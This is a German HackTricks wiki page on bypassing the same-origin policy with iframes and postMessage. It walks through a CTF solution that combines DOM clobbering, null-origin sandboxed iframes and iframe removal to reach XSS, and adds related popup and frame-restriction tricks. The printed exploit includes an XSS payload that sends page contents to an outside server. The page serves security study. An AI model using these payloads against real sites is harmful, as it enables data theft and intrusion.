Bypassing SOP with Iframes - 2
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Iframes in SOP-2
In der solution für diese challenge @Strellic_ schlägt eine ähnliche Methode wie im vorherigen Abschnitt vor. Schauen wir sie uns an.
In dieser Challenge muss der Angreifer dies bypass:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Wenn er das tut, kann er eine postmessage mit HTML-Inhalt senden, die ohne Sanitation mit innerHTML in die Seite geschrieben wird (XSS).
Der Weg, die erste Prüfung zu umgehen, besteht darin, window.calc.contentWindow auf undefined und e.source auf null zu bringen:
window.calc.contentWindowist tatsächlichdocument.getElementById("calc"). Du kannstdocument.getElementByIdmit<img name=getElementById />clobbern (beachte, dass Sanitizer API -here- in ihrem Standardzustand nicht konfiguriert ist, um gegen DOM clobbering-Angriffe zu schützen).- Deshalb kannst du
document.getElementById("calc")mit<img name=getElementById /><div id=calc></div>clobbern. Dann wirdwindow.calcundefinedsein. - Nun brauchen wir, dass
e.sourceundefinedodernullist (weil==statt===verwendet wird, istnull == undefinedTrue). Das zu erreichen ist “einfach”. Wenn du ein iframe erstellst und daraus eine postMessage sendest und das iframe sofort entfernst, wirde.originnullsein. Schau dir den folgenden Code an
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Um die zweite Prüfung bezüglich des Tokens zu umgehen, sendet man token mit dem Wert null und sorgt dafür, dass window.token den Wert undefined annimmt:
- Das Senden von
tokenin der postMessage mit dem Wertnullist trivial. window.tokenwird beim Aufruf der FunktiongetCookieermittelt, diedocument.cookienutzt. Beachte, dass jeder Zugriff aufdocument.cookiein Seiten mitnullOrigin einen Fehler auslöst. Dadurch wirdwindow.tokenden Wertundefinedhaben.
Die endgültige Lösung von @terjanq ist die folgende:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
Eine kürzliche TryHackMe-Aufgabe (“Vulnerable Codes”) demonstriert, wie OAuth popups gehijackt werden können, wenn der opener in einem sandboxed iframe lebt, das nur scripts und popups erlaubt. Das iframe zwingt sowohl sich selbst als auch das popup in eine “null” origin, sodass Handler, die if (origin !== window.origin) return prüfen, stillschweigend fehlschlagen, weil window.origin im popup ebenfalls “null” ist. Obwohl der Browser weiterhin das echte location.origin offenlegt, prüft das victim es nie, sodass attacker-controlled messages ungehindert durchrutschen.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Wesentliche Erkenntnisse zum Missbrauch dieses Setups:
- Handler, die
originmitwindow.origininnerhalb des Popups vergleichen, lassen sich umgehen, weil beide zu"null"ausgewertet werden; gefälschte Nachrichten wirken dadurch legitim. - Sandboxed iframes, die
allow-popupsgewähren, aberallow-same-originweglassen, erzeugen weiterhin Popups, die an die vom Angreifer kontrollierte null origin gebunden sind und so eine stabile Enklave bieten — selbst in 2025 Chromium-Builds.
Source-nullification & frame-restriction bypasses
Branchen-Writeups zu CVE-2024-49038 heben zwei wiederverwendbare Primitive für diese Seite hervor: (1) du kannst weiterhin mit Seiten interagieren, die X-Frame-Options: DENY setzen, indem du sie via window.open öffnest und Nachrichten postest, sobald die Navigation abgeschlossen ist, und (2) du kannst event.source == victimFrame-Prüfungen per brute-force umgehen, indem du das iframe unmittelbar nach dem Senden einer Nachricht entfernst, sodass der Empfänger im Handler nur null sieht.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Kombiniere dies mit dem oben genannten DOM-clobbering trick: sobald der Empfänger nur event.source === null sieht, bricht jeder Vergleich mit window.calc.contentWindow oder ähnlichem zusammen, sodass du wieder malicious HTML sinks über innerHTML einschleusen kannst.
Referenzen
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

